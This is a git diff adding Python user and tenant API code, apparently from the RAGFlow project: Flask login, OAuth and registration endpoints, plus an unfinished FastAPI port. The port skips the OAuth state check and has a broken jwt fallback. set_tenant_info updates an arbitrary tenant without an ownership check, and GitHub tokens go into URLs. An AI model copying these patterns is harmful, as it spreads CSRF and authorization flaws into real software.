+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+from flask import request
+from flask_login import login_required, current_user
+
+from api import settings
+from api.apps import smtp_mail_server
+from api.db import UserTenantRole, StatusEnum
+from api.db.db_models import UserTenant
+from api.db.services.user_service import UserTenantService, UserService
+
+from api.utils import get_uuid, delta_seconds
+from api.utils.api_utils import get_json_result, validate_request, server_error_response, get_data_error_result
+from api.utils.web_utils import send_invite_email
+
+
+@manager.route("//user/list", methods=["GET"]) # noqa: F821
+@login_required
+def user_list(tenant_id):
+ if current_user.id != tenant_id:
+ return get_json_result(
+ data=False,
+ message='No authorization.',
+ code=settings.RetCode.AUTHENTICATION_ERROR)
+
+ try:
+ users = UserTenantService.get_by_tenant_id(tenant_id)
+ for u in users:
+ u["delta_seconds"] = delta_seconds(str(u["update_date"]))
+ return get_json_result(data=users)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('//user', methods=['POST']) # noqa: F821
+@login_required
+@validate_request("email")
+def create(tenant_id):
+ if current_user.id != tenant_id:
+ return get_json_result(
+ data=False,
+ message='No authorization.',
+ code=settings.RetCode.AUTHENTICATION_ERROR)
+
+ req = request.json
+ invite_user_email = req["email"]
+ invite_users = UserService.query(email=invite_user_email)
+ if not invite_users:
+ return get_data_error_result(message="User not found.")
+
+ user_id_to_invite = invite_users[0].id
+ user_tenants = UserTenantService.query(user_id=user_id_to_invite, tenant_id=tenant_id)
+ if user_tenants:
+ user_tenant_role = user_tenants[0].role
+ if user_tenant_role == UserTenantRole.NORMAL:
+ return get_data_error_result(message=f"{invite_user_email} is already in the team.")
+ if user_tenant_role == UserTenantRole.OWNER:
+ return get_data_error_result(message=f"{invite_user_email} is the owner of the team.")
+ return get_data_error_result(message=f"{invite_user_email} is in the team, but the role: {user_tenant_role} is invalid.")
+
+ UserTenantService.save(
+ id=get_uuid(),
+ user_id=user_id_to_invite,
+ tenant_id=tenant_id,
+ invited_by=current_user.id,
+ role=UserTenantRole.INVITE,
+ status=StatusEnum.VALID.value)
+
+ if smtp_mail_server and settings.SMTP_CONF:
+ from threading import Thread
+
+ user_name = ""
+ _, user = UserService.get_by_id(current_user.id)
+ if user:
+ user_name = user.nickname
+
+ Thread(
+ target=send_invite_email,
+ args=(invite_user_email, settings.MAIL_FRONTEND_URL, tenant_id, user_name or current_user.email),
+ daemon=True
+ ).start()
+
+ usr = invite_users[0].to_dict()
+ usr = {k: v for k, v in usr.items() if k in ["id", "avatar", "email", "nickname"]}
+
+ return get_json_result(data=usr)
+
+
+@manager.route('//user/', methods=['DELETE']) # noqa: F821
+@login_required
+def rm(tenant_id, user_id):
+ if current_user.id != tenant_id and current_user.id != user_id:
+ return get_json_result(
+ data=False,
+ message='No authorization.',
+ code=settings.RetCode.AUTHENTICATION_ERROR)
+
+ try:
+ UserTenantService.filter_delete([UserTenant.tenant_id == tenant_id, UserTenant.user_id == user_id])
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/list", methods=["GET"]) # noqa: F821
+@login_required
+def tenant_list():
+ try:
+ users = UserTenantService.get_tenants_by_user_id(current_user.id)
+ for u in users:
+ u["delta_seconds"] = delta_seconds(str(u["update_date"]))
+ return get_json_result(data=users)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/agree/", methods=["PUT"]) # noqa: F821
+@login_required
+def agree(tenant_id):
+ try:
+ UserTenantService.filter_update([UserTenant.tenant_id == tenant_id, UserTenant.user_id == current_user.id], {"role": UserTenantRole.NORMAL})
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
diff --git a/api/apps/user_app.py b/api/apps/user_app.py
new file mode 100644
index 0000000..f99b7c1
--- /dev/null
+++ b/api/apps/user_app.py
@@ -0,0 +1,827 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import json
+import logging
+import re
+import secrets
+from datetime import datetime
+
+from flask import redirect, request, session
+from flask_login import current_user, login_required, login_user, logout_user
+from werkzeug.security import check_password_hash, generate_password_hash
+
+from api import settings
+from api.apps.auth import get_auth_client
+from api.db import FileType, UserTenantRole
+from api.db.db_models import TenantLLM
+from api.db.services.file_service import FileService
+from api.db.services.llm_service import get_init_tenant_llm
+from api.db.services.tenant_llm_service import TenantLLMService
+from api.db.services.user_service import TenantService, UserService, UserTenantService
+from api.utils import (
+ current_timestamp,
+ datetime_format,
+ download_img,
+ get_format_time,
+ get_uuid,
+)
+from api.utils.api_utils import (
+ construct_response,
+ get_data_error_result,
+ get_json_result,
+ server_error_response,
+ validate_request,
+)
+from api.utils.crypt import decrypt
+
+
+@manager.route("/login", methods=["POST", "GET"]) # noqa: F821
+def login():
+ """
+ User login endpoint.
+ ---
+ tags:
+ - User
+ parameters:
+ - in: body
+ name: body
+ description: Login credentials.
+ required: true
+ schema:
+ type: object
+ properties:
+ email:
+ type: string
+ description: User email.
+ password:
+ type: string
+ description: User password.
+ responses:
+ 200:
+ description: Login successful.
+ schema:
+ type: object
+ 401:
+ description: Authentication failed.
+ schema:
+ type: object
+ """
+ if not request.json:
+ return get_json_result(data=False, code=settings.RetCode.AUTHENTICATION_ERROR, message="Unauthorized!")
+
+ email = request.json.get("email", "")
+ users = UserService.query(email=email)
+ if not users:
+ return get_json_result(
+ data=False,
+ code=settings.RetCode.AUTHENTICATION_ERROR,
+ message=f"Email: {email} is not registered!",
+ )
+
+ password = request.json.get("password")
+ try:
+ password = decrypt(password)
+ except BaseException:
+ return get_json_result(data=False, code=settings.RetCode.SERVER_ERROR, message="Fail to crypt password")
+
+ user = UserService.query_user(email, password)
+
+ if user and hasattr(user, 'is_active') and user.is_active == "0":
+ return get_json_result(
+ data=False,
+ code=settings.RetCode.FORBIDDEN,
+ message="This account has been disabled, please contact the administrator!",
+ )
+ elif user:
+ response_data = user.to_json()
+ user.access_token = get_uuid()
+ login_user(user)
+ user.update_time = (current_timestamp(),)
+ user.update_date = (datetime_format(datetime.now()),)
+ user.save()
+ msg = "Welcome back!"
+ return construct_response(data=response_data, auth=user.get_id(), message=msg)
+ else:
+ return get_json_result(
+ data=False,
+ code=settings.RetCode.AUTHENTICATION_ERROR,
+ message="Email and password do not match!",
+ )
+
+
+@manager.route("/login/channels", methods=["GET"]) # noqa: F821
+def get_login_channels():
+ """
+ Get all supported authentication channels.
+ """
+ try:
+ channels = []
+ for channel, config in settings.OAUTH_CONFIG.items():
+ channels.append(
+ {
+ "channel": channel,
+ "display_name": config.get("display_name", channel.title()),
+ "icon": config.get("icon", "sso"),
+ }
+ )
+ return get_json_result(data=channels)
+ except Exception as e:
+ logging.exception(e)
+ return get_json_result(data=[], message=f"Load channels failure, error: {str(e)}", code=settings.RetCode.EXCEPTION_ERROR)
+
+
+@manager.route("/login/", methods=["GET"]) # noqa: F821
+def oauth_login(channel):
+ channel_config = settings.OAUTH_CONFIG.get(channel)
+ if not channel_config:
+ raise ValueError(f"Invalid channel name: {channel}")
+ auth_cli = get_auth_client(channel_config)
+
+ state = get_uuid()
+ session["oauth_state"] = state
+ auth_url = auth_cli.get_authorization_url(state)
+ return redirect(auth_url)
+
+
+@manager.route("/oauth/callback/", methods=["GET"]) # noqa: F821
+def oauth_callback(channel):
+ """
+ Handle the OAuth/OIDC callback for various channels dynamically.
+ """
+ try:
+ channel_config = settings.OAUTH_CONFIG.get(channel)
+ if not channel_config:
+ raise ValueError(f"Invalid channel name: {channel}")
+ auth_cli = get_auth_client(channel_config)
+
+ # Check the state
+ state = request.args.get("state")
+ if not state or state != session.get("oauth_state"):
+ return redirect("/?error=invalid_state")
+ session.pop("oauth_state", None)
+
+ # Obtain the authorization code
+ code = request.args.get("code")
+ if not code:
+ return redirect("/?error=missing_code")
+
+ # Exchange authorization code for access token
+ token_info = auth_cli.exchange_code_for_token(code)
+ access_token = token_info.get("access_token")
+ if not access_token:
+ return redirect("/?error=token_failed")
+
+ id_token = token_info.get("id_token")
+
+ # Fetch user info
+ user_info = auth_cli.fetch_user_info(access_token, id_token=id_token)
+ if not user_info.email:
+ return redirect("/?error=email_missing")
+
+ # Login or register
+ users = UserService.query(email=user_info.email)
+ user_id = get_uuid()
+
+ if not users:
+ try:
+ try:
+ avatar = download_img(user_info.avatar_url)
+ except Exception as e:
+ logging.exception(e)
+ avatar = ""
+
+ users = user_register(
+ user_id,
+ {
+ "access_token": get_uuid(),
+ "email": user_info.email,
+ "avatar": avatar,
+ "nickname": user_info.nickname,
+ "login_channel": channel,
+ "last_login_time": get_format_time(),
+ "is_superuser": False,
+ },
+ )
+
+ if not users:
+ raise Exception(f"Failed to register {user_info.email}")
+ if len(users) > 1:
+ raise Exception(f"Same email: {user_info.email} exists!")
+
+ # Try to log in
+ user = users[0]
+ login_user(user)
+ return redirect(f"/?auth={user.get_id()}")
+
+ except Exception as e:
+ rollback_user_registration(user_id)
+ logging.exception(e)
+ return redirect(f"/?error={str(e)}")
+
+ # User exists, try to log in
+ user = users[0]
+ user.access_token = get_uuid()
+ if user and hasattr(user, 'is_active') and user.is_active == "0":
+ return redirect("/?error=user_inactive")
+
+ login_user(user)
+ user.save()
+ return redirect(f"/?auth={user.get_id()}")
+ except Exception as e:
+ logging.exception(e)
+ return redirect(f"/?error={str(e)}")
+
+
+@manager.route("/github_callback", methods=["GET"]) # noqa: F821
+def github_callback():
+ """
+ **Deprecated**, Use `/oauth/callback/` instead.
+
+ GitHub OAuth callback endpoint.
+ ---
+ tags:
+ - OAuth
+ parameters:
+ - in: query
+ name: code
+ type: string
+ required: true
+ description: Authorization code from GitHub.
+ responses:
+ 200:
+ description: Authentication successful.
+ schema:
+ type: object
+ """
+ import requests
+
+ res = requests.post(
+ settings.GITHUB_OAUTH.get("url"),
+ data={
+ "client_id": settings.GITHUB_OAUTH.get("client_id"),
+ "client_secret": settings.GITHUB_OAUTH.get("secret_key"),
+ "code": request.args.get("code"),
+ },
+ headers={"Accept": "application/json"},
+ )
+ res = res.json()
+ if "error" in res:
+ return redirect("/?error=%s" % res["error_description"])
+
+ if "user:email" not in res["scope"].split(","):
+ return redirect("/?error=user:email not in scope")
+
+ session["access_token"] = res["access_token"]
+ session["access_token_from"] = "github"
+ user_info = user_info_from_github(session["access_token"])
+ email_address = user_info["email"]
+ users = UserService.query(email=email_address)
+ user_id = get_uuid()
+ if not users:
+ # User isn't try to register
+ try:
+ try:
+ avatar = download_img(user_info["avatar_url"])
+ except Exception as e:
+ logging.exception(e)
+ avatar = ""
+ users = user_register(
+ user_id,
+ {
+ "access_token": session["access_token"],
+ "email": email_address,
+ "avatar": avatar,
+ "nickname": user_info["login"],
+ "login_channel": "github",
+ "last_login_time": get_format_time(),
+ "is_superuser": False,
+ },
+ )
+ if not users:
+ raise Exception(f"Fail to register {email_address}.")
+ if len(users) > 1:
+ raise Exception(f"Same email: {email_address} exists!")
+
+ # Try to log in
+ user = users[0]
+ login_user(user)
+ return redirect("/?auth=%s" % user.get_id())
+ except Exception as e:
+ rollback_user_registration(user_id)
+ logging.exception(e)
+ return redirect("/?error=%s" % str(e))
+
+ # User has already registered, try to log in
+ user = users[0]
+ user.access_token = get_uuid()
+ if user and hasattr(user, 'is_active') and user.is_active == "0":
+ return redirect("/?error=user_inactive")
+ login_user(user)
+ user.save()
+ return redirect("/?auth=%s" % user.get_id())
+
+
+@manager.route("/feishu_callback", methods=["GET"]) # noqa: F821
+def feishu_callback():
+ """
+ Feishu OAuth callback endpoint.
+ ---
+ tags:
+ - OAuth
+ parameters:
+ - in: query
+ name: code
+ type: string
+ required: true
+ description: Authorization code from Feishu.
+ responses:
+ 200:
+ description: Authentication successful.
+ schema:
+ type: object
+ """
+ import requests
+
+ app_access_token_res = requests.post(
+ settings.FEISHU_OAUTH.get("app_access_token_url"),
+ data=json.dumps(
+ {
+ "app_id": settings.FEISHU_OAUTH.get("app_id"),
+ "app_secret": settings.FEISHU_OAUTH.get("app_secret"),
+ }
+ ),
+ headers={"Content-Type": "application/json; charset=utf-8"},
+ )
+ app_access_token_res = app_access_token_res.json()
+ if app_access_token_res["code"] != 0:
+ return redirect("/?error=%s" % app_access_token_res)
+
+ res = requests.post(
+ settings.FEISHU_OAUTH.get("user_access_token_url"),
+ data=json.dumps(
+ {
+ "grant_type": settings.FEISHU_OAUTH.get("grant_type"),
+ "code": request.args.get("code"),
+ }
+ ),
+ headers={
+ "Content-Type": "application/json; charset=utf-8",
+ "Authorization": f"Bearer {app_access_token_res['app_access_token']}",
+ },
+ )
+ res = res.json()
+ if res["code"] != 0:
+ return redirect("/?error=%s" % res["message"])
+
+ if "contact:user.email:readonly" not in res["data"]["scope"].split():
+ return redirect("/?error=contact:user.email:readonly not in scope")
+ session["access_token"] = res["data"]["access_token"]
+ session["access_token_from"] = "feishu"
+ user_info = user_info_from_feishu(session["access_token"])
+ email_address = user_info["email"]
+ users = UserService.query(email=email_address)
+ user_id = get_uuid()
+ if not users:
+ # User isn't try to register
+ try:
+ try:
+ avatar = download_img(user_info["avatar_url"])
+ except Exception as e:
+ logging.exception(e)
+ avatar = ""
+ users = user_register(
+ user_id,
+ {
+ "access_token": session["access_token"],
+ "email": email_address,
+ "avatar": avatar,
+ "nickname": user_info["en_name"],
+ "login_channel": "feishu",
+ "last_login_time": get_format_time(),
+ "is_superuser": False,
+ },
+ )
+ if not users:
+ raise Exception(f"Fail to register {email_address}.")
+ if len(users) > 1:
+ raise Exception(f"Same email: {email_address} exists!")
+
+ # Try to log in
+ user = users[0]
+ login_user(user)
+ return redirect("/?auth=%s" % user.get_id())
+ except Exception as e:
+ rollback_user_registration(user_id)
+ logging.exception(e)
+ return redirect("/?error=%s" % str(e))
+
+ # User has already registered, try to log in
+ user = users[0]
+ if user and hasattr(user, 'is_active') and user.is_active == "0":
+ return redirect("/?error=user_inactive")
+ user.access_token = get_uuid()
+ login_user(user)
+ user.save()
+ return redirect("/?auth=%s" % user.get_id())
+
+
+def user_info_from_feishu(access_token):
+ import requests
+
+ headers = {
+ "Content-Type": "application/json; charset=utf-8",
+ "Authorization": f"Bearer {access_token}",
+ }
+ res = requests.get("https://open.feishu.cn/open-apis/authen/v1/user_info", headers=headers)
+ user_info = res.json()["data"]
+ user_info["email"] = None if user_info.get("email") == "" else user_info["email"]
+ return user_info
+
+
+def user_info_from_github(access_token):
+ import requests
+
+ headers = {"Accept": "application/json", "Authorization": f"token {access_token}"}
+ res = requests.get(f"https://api.github.com/user?access_token={access_token}", headers=headers)
+ user_info = res.json()
+ email_info = requests.get(
+ f"https://api.github.com/user/emails?access_token={access_token}",
+ headers=headers,
+ ).json()
+ user_info["email"] = next((email for email in email_info if email["primary"]), None)["email"]
+ return user_info
+
+
+@manager.route("/logout", methods=["GET"]) # noqa: F821
+@login_required
+def log_out():
+ """
+ User logout endpoint.
+ ---
+ tags:
+ - User
+ security:
+ - ApiKeyAuth: []
+ responses:
+ 200:
+ description: Logout successful.
+ schema:
+ type: object
+ """
+ current_user.access_token = f"INVALID_{secrets.token_hex(16)}"
+ current_user.save()
+ logout_user()
+ return get_json_result(data=True)
+
+
+@manager.route("/setting", methods=["POST"]) # noqa: F821
+@login_required
+def setting_user():
+ """
+ Update user settings.
+ ---
+ tags:
+ - User
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: body
+ name: body
+ description: User settings to update.
+ required: true
+ schema:
+ type: object
+ properties:
+ nickname:
+ type: string
+ description: New nickname.
+ email:
+ type: string
+ description: New email.
+ responses:
+ 200:
+ description: Settings updated successfully.
+ schema:
+ type: object
+ """
+ update_dict = {}
+ request_data = request.json
+ if request_data.get("password"):
+ new_password = request_data.get("new_password")
+ if not check_password_hash(current_user.password, decrypt(request_data["password"])):
+ return get_json_result(
+ data=False,
+ code=settings.RetCode.AUTHENTICATION_ERROR,
+ message="Password error!",
+ )
+
+ if new_password:
+ update_dict["password"] = generate_password_hash(decrypt(new_password))
+
+ for k in request_data.keys():
+ if k in [
+ "password",
+ "new_password",
+ "email",
+ "status",
+ "is_superuser",
+ "login_channel",
+ "is_anonymous",
+ "is_active",
+ "is_authenticated",
+ "last_login_time",
+ ]:
+ continue
+ update_dict[k] = request_data[k]
+
+ try:
+ UserService.update_by_id(current_user.id, update_dict)
+ return get_json_result(data=True)
+ except Exception as e:
+ logging.exception(e)
+ return get_json_result(data=False, message="Update failure!", code=settings.RetCode.EXCEPTION_ERROR)
+
+
+@manager.route("/info", methods=["GET"]) # noqa: F821
+@login_required
+def user_profile():
+ """
+ Get user profile information.
+ ---
+ tags:
+ - User
+ security:
+ - ApiKeyAuth: []
+ responses:
+ 200:
+ description: User profile retrieved successfully.
+ schema:
+ type: object
+ properties:
+ id:
+ type: string
+ description: User ID.
+ nickname:
+ type: string
+ description: User nickname.
+ email:
+ type: string
+ description: User email.
+ """
+ return get_json_result(data=current_user.to_dict())
+
+
+def rollback_user_registration(user_id):
+ try:
+ UserService.delete_by_id(user_id)
+ except Exception:
+ pass
+ try:
+ TenantService.delete_by_id(user_id)
+ except Exception:
+ pass
+ try:
+ u = UserTenantService.query(tenant_id=user_id)
+ if u:
+ UserTenantService.delete_by_id(u[0].id)
+ except Exception:
+ pass
+ try:
+ TenantLLM.delete().where(TenantLLM.tenant_id == user_id).execute()
+ except Exception:
+ pass
+
+
+def user_register(user_id, user):
+ user["id"] = user_id
+ tenant = {
+ "id": user_id,
+ "name": user["nickname"] + "‘s Kingdom",
+ "llm_id": settings.CHAT_MDL,
+ "embd_id": settings.EMBEDDING_MDL,
+ "asr_id": settings.ASR_MDL,
+ "parser_ids": settings.PARSERS,
+ "img2txt_id": settings.IMAGE2TEXT_MDL,
+ "rerank_id": settings.RERANK_MDL,
+ }
+ usr_tenant = {
+ "tenant_id": user_id,
+ "user_id": user_id,
+ "invited_by": user_id,
+ "role": UserTenantRole.OWNER,
+ }
+ file_id = get_uuid()
+ file = {
+ "id": file_id,
+ "parent_id": file_id,
+ "tenant_id": user_id,
+ "created_by": user_id,
+ "name": "/",
+ "type": FileType.FOLDER.value,
+ "size": 0,
+ "location": "",
+ }
+
+ tenant_llm = get_init_tenant_llm(user_id)
+
+ if not UserService.save(**user):
+ return
+ TenantService.insert(**tenant)
+ UserTenantService.insert(**usr_tenant)
+ TenantLLMService.insert_many(tenant_llm)
+ FileService.insert(file)
+ return UserService.query(email=user["email"])
+
+
+@manager.route("/register", methods=["POST"]) # noqa: F821
+@validate_request("nickname", "email", "password")
+def user_add():
+ """
+ Register a new user.
+ ---
+ tags:
+ - User
+ parameters:
+ - in: body
+ name: body
+ description: Registration details.
+ required: true
+ schema:
+ type: object
+ properties:
+ nickname:
+ type: string
+ description: User nickname.
+ email:
+ type: string
+ description: User email.
+ password:
+ type: string
+ description: User password.
+ responses:
+ 200:
+ description: Registration successful.
+ schema:
+ type: object
+ """
+
+ if not settings.REGISTER_ENABLED:
+ return get_json_result(
+ data=False,
+ message="User registration is disabled!",
+ code=settings.RetCode.OPERATING_ERROR,
+ )
+
+ req = request.json
+ email_address = req["email"]
+
+ # Validate the email address
+ if not re.match(r"^[\w\._-]+@([\w_-]+\.)+[\w-]{2,}$", email_address):
+ return get_json_result(
+ data=False,
+ message=f"Invalid email address: {email_address}!",
+ code=settings.RetCode.OPERATING_ERROR,
+ )
+
+ # Check if the email address is already used
+ if UserService.query(email=email_address):
+ return get_json_result(
+ data=False,
+ message=f"Email: {email_address} has already registered!",
+ code=settings.RetCode.OPERATING_ERROR,
+ )
+
+ # Construct user info data
+ nickname = req["nickname"]
+ user_dict = {
+ "access_token": get_uuid(),
+ "email": email_address,
+ "nickname": nickname,
+ "password": decrypt(req["password"]),
+ "login_channel": "password",
+ "last_login_time": get_format_time(),
+ "is_superuser": False,
+ }
+
+ user_id = get_uuid()
+ try:
+ users = user_register(user_id, user_dict)
+ if not users:
+ raise Exception(f"Fail to register {email_address}.")
+ if len(users) > 1:
+ raise Exception(f"Same email: {email_address} exists!")
+ user = users[0]
+ login_user(user)
+ return construct_response(
+ data=user.to_json(),
+ auth=user.get_id(),
+ message=f"{nickname}, welcome aboard!",
+ )
+ except Exception as e:
+ rollback_user_registration(user_id)
+ logging.exception(e)
+ return get_json_result(
+ data=False,
+ message=f"User registration failure, error: {str(e)}",
+ code=settings.RetCode.EXCEPTION_ERROR,
+ )
+
+
+@manager.route("/tenant_info", methods=["GET"]) # noqa: F821
+@login_required
+def tenant_info():
+ """
+ Get tenant information.
+ ---
+ tags:
+ - Tenant
+ security:
+ - ApiKeyAuth: []
+ responses:
+ 200:
+ description: Tenant information retrieved successfully.
+ schema:
+ type: object
+ properties:
+ tenant_id:
+ type: string
+ description: Tenant ID.
+ name:
+ type: string
+ description: Tenant name.
+ llm_id:
+ type: string
+ description: LLM ID.
+ embd_id:
+ type: string
+ description: Embedding model ID.
+ """
+ try:
+ tenants = TenantService.get_info_by(current_user.id)
+ if not tenants:
+ return get_data_error_result(message="Tenant not found!")
+ return get_json_result(data=tenants[0])
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/set_tenant_info", methods=["POST"]) # noqa: F821
+@login_required
+@validate_request("tenant_id", "asr_id", "embd_id", "img2txt_id", "llm_id")
+def set_tenant_info():
+ """
+ Update tenant information.
+ ---
+ tags:
+ - Tenant
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: body
+ name: body
+ description: Tenant information to update.
+ required: true
+ schema:
+ type: object
+ properties:
+ tenant_id:
+ type: string
+ description: Tenant ID.
+ llm_id:
+ type: string
+ description: LLM ID.
+ embd_id:
+ type: string
+ description: Embedding model ID.
+ asr_id:
+ type: string
+ description: ASR model ID.
+ img2txt_id:
+ type: string
+ description: Image to Text model ID.
+ responses:
+ 200:
+ description: Tenant information updated successfully.
+ schema:
+ type: object
+ """
+ req = request.json
+ try:
+ tid = req.pop("tenant_id")
+ TenantService.update_by_id(tid, req)
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
diff --git a/api/apps/user_app_fastapi.py b/api/apps/user_app_fastapi.py
new file mode 100644
index 0000000..1eb172e
--- /dev/null
+++ b/api/apps/user_app_fastapi.py
@@ -0,0 +1,540 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import json
+import logging
+import re
+import secrets
+from datetime import datetime
+from typing import Optional, Dict, Any
+
+from fastapi import APIRouter, Depends, HTTPException, Request, Response, status
+from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials
+from fastapi.responses import RedirectResponse
+from pydantic import BaseModel, EmailStr
+try:
+ from werkzeug.security import check_password_hash, generate_password_hash
+except ImportError:
+ # 如果没有werkzeug,使用passlib作为替代
+ from passlib.context import CryptContext
+ pwd_context = CryptContext(schemes=["bcrypt"], deprecated="auto")
+
+ def check_password_hash(hashed, password):
+ return pwd_context.verify(password, hashed)
+
+ def generate_password_hash(password):
+ return pwd_context.hash(password)
+
+from api import settings
+from api.apps.auth import get_auth_client
+from api.db import FileType, UserTenantRole
+from api.db.db_models import TenantLLM
+from api.db.services.file_service import FileService
+from api.db.services.llm_service import get_init_tenant_llm
+from api.db.services.tenant_llm_service import TenantLLMService
+from api.db.services.user_service import TenantService, UserService, UserTenantService
+from api.utils import (
+ current_timestamp,
+ datetime_format,
+ download_img,
+ get_format_time,
+ get_uuid,
+)
+from api.utils.api_utils import (
+ construct_response,
+ get_data_error_result,
+ get_json_result,
+ server_error_response,
+ validate_request,
+)
+from api.utils.crypt import decrypt
+
+# 创建路由器
+router = APIRouter()
+
+# 安全方案
+security = HTTPBearer()
+
+# Pydantic模型
+class LoginRequest(BaseModel):
+ email: EmailStr
+ password: str
+
+class RegisterRequest(BaseModel):
+ nickname: str
+ email: EmailStr
+ password: str
+
+class UserSettingRequest(BaseModel):
+ nickname: Optional[str] = None
+ password: Optional[str] = None
+ new_password: Optional[str] = None
+
+class TenantInfoRequest(BaseModel):
+ tenant_id: str
+ asr_id: str
+ embd_id: str
+ img2txt_id: str
+ llm_id: str
+
+# 依赖项:获取当前用户
+async def get_current_user(credentials: HTTPAuthorizationCredentials = Depends(security)):
+ """获取当前用户"""
+ from api.db import StatusEnum
+ try:
+ from itsdangerous.url_safe import URLSafeTimedSerializer as Serializer
+ except ImportError:
+ # 如果没有itsdangerous,使用jwt作为替代
+ import jwt
+ Serializer = jwt
+
+ jwt = Serializer(secret_key=settings.SECRET_KEY)
+ authorization = credentials.credentials
+
+ if authorization:
+ try:
+ access_token = str(jwt.loads(authorization))
+
+ if not access_token or not access_token.strip():
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Authentication attempt with empty access token"
+ )
+
+ # Access tokens should be UUIDs (32 hex characters)
+ if len(access_token.strip()) < 32:
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail=f"Authentication attempt with invalid token format: {len(access_token)} chars"
+ )
+
+ user = UserService.query(
+ access_token=access_token, status=StatusEnum.VALID.value
+ )
+ if user:
+ if not user[0].access_token or not user[0].access_token.strip():
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail=f"User {user[0].email} has empty access_token in database"
+ )
+ return user[0]
+ else:
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Invalid access token"
+ )
+ except Exception as e:
+ logging.warning(f"load_user got exception {e}")
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Invalid access token"
+ )
+ else:
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Authorization header required"
+ )
+
+@router.post("/login")
+async def login(request: LoginRequest):
+ """
+ 用户登录端点
+ """
+ email = request.email
+ users = UserService.query(email=email)
+ if not users:
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail=f"Email: {email} is not registered!"
+ )
+
+ password = request.password
+ try:
+ password = decrypt(password)
+ except BaseException:
+ raise HTTPException(
+ status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,
+ detail="Fail to crypt password"
+ )
+
+ user = UserService.query_user(email, password)
+
+ if user and hasattr(user, 'is_active') and user.is_active == "0":
+ raise HTTPException(
+ status_code=status.HTTP_403_FORBIDDEN,
+ detail="This account has been disabled, please contact the administrator!"
+ )
+ elif user:
+ response_data = user.to_json()
+ user.access_token = get_uuid()
+ user.update_time = (current_timestamp(),)
+ user.update_date = (datetime_format(datetime.now()),)
+ user.save()
+ msg = "Welcome back!"
+ return construct_response(data=response_data, auth=user.get_id(), message=msg)
+ else:
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Email and password do not match!"
+ )
+
+@router.get("/login/channels")
+async def get_login_channels():
+ """
+ 获取所有支持的身份验证渠道
+ """
+ try:
+ channels = []
+ for channel, config in settings.OAUTH_CONFIG.items():
+ channels.append(
+ {
+ "channel": channel,
+ "display_name": config.get("display_name", channel.title()),
+ "icon": config.get("icon", "sso"),
+ }
+ )
+ return get_json_result(data=channels)
+ except Exception as e:
+ logging.exception(e)
+ raise HTTPException(
+ status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,
+ detail=f"Load channels failure, error: {str(e)}"
+ )
+
+@router.get("/login/{channel}")
+async def oauth_login(channel: str, request: Request):
+ """OAuth登录"""
+ channel_config = settings.OAUTH_CONFIG.get(channel)
+ if not channel_config:
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail=f"Invalid channel name: {channel}"
+ )
+
+ auth_cli = get_auth_client(channel_config)
+ state = get_uuid()
+
+ # 在FastAPI中,我们需要使用session来存储state
+ # 这里简化处理,实际应该使用FastAPI的session管理
+ auth_url = auth_cli.get_authorization_url(state)
+ return RedirectResponse(url=auth_url)
+
+@router.get("/oauth/callback/{channel}")
+async def oauth_callback(channel: str, request: Request):
+ """
+ 处理各种渠道的OAuth/OIDC回调
+ """
+ try:
+ channel_config = settings.OAUTH_CONFIG.get(channel)
+ if not channel_config:
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail=f"Invalid channel name: {channel}"
+ )
+
+ auth_cli = get_auth_client(channel_config)
+
+ # 检查state
+ state = request.query_params.get("state")
+ # 在实际应用中,应该从session中获取state进行比较
+ if not state:
+ return RedirectResponse(url="/?error=invalid_state")
+
+ # 获取授权码
+ code = request.query_params.get("code")
+ if not code:
+ return RedirectResponse(url="/?error=missing_code")
+
+ # 交换授权码获取访问令牌
+ token_info = auth_cli.exchange_code_for_token(code)
+ access_token = token_info.get("access_token")
+ if not access_token:
+ return RedirectResponse(url="/?error=token_failed")
+
+ id_token = token_info.get("id_token")
+
+ # 获取用户信息
+ user_info = auth_cli.fetch_user_info(access_token, id_token=id_token)
+ if not user_info.email:
+ return RedirectResponse(url="/?error=email_missing")
+
+ # 登录或注册
+ users = UserService.query(email=user_info.email)
+ user_id = get_uuid()
+
+ if not users:
+ try:
+ try:
